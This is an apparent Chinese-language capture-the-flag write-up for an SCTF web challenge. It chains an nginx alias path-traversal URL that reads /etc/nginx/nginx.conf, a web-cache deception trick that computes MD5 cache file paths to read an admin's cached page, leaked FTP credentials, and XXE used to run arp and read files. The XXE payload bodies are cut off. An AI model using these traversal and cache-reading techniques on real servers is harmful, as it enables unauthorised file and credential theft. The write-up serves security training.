NGINX的秘密
NGINX配置问题导致任意文件读取 /static../etc/nginx/nginx.conf,
1 | user www-data; |
可以看到开启了缓存,会把css|js|gif|png这四种文件类型缓存。
查看文档http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_cache_path
由proxy_cache_path得知缓存文件保存在/tmp/mycache,用于定义缓存文件名的proxy_cache_key未设置,则使用默认值 $scheme$proxy_host$request_uri,即文件名形式为md5($scheme$proxy_host$request_uri),由于proxy_cache_path设置了levels=1:2,因此缓存文件存在/tmp/mycache下的两级目录下,第一级目录名取MD5值的最后一个字符,第二级目录名取MD5值的倒数2、3个字符.
又根据提示得知路由规则很奇怪:访问/editxxxxx等同于访问/edit,同理访问/write_plan/a.js等同于访问/write_plan.
因而构造http://149.129.103.103:4455/write_plan/a.js/ 提交给管理员访问
机器人挂了还得手动😂
得到路径为这里是个坑
不是md5(http://149.129.103.103:4455/write_plan/a.js/)
而是md5(http://bugweb.app:8000/write_plan/a.js/) == 6fcfa7b1e6bad837b70dc98c9b82b43b
所以应该访问路径为http://149.129.103.103:4455/static../tmp/mycache/b/43/6fcfa7b1e6bad837b70dc98c9b82b43b
可以看到ftp用户名与密码syc10ver Eec5TN9fruOOTp2G.
然后利用xxe执行arp命令
1 | <?xml version="1.0" encoding="UTF-8"?> |
得到3个ip
- a few seconds ago 172.19.0.1 0x1 0x2 02:42:ec:2a:71:fb * eth0
- a few seconds ago
- a few seconds ago 172.19.0.4 0x1 0x2 02:42:ac:13:00:04 * eth0
- a few seconds ago
- a few seconds ago 172.19.0.2 0x1 0x2 02:42:ac:13:00:02 * eth0
然后利用ftp读文件
1 | <?xml version="1.0" encoding="UTF-8"?> |
sctf{Not_0n1y_xx3_but_als0_web_cache}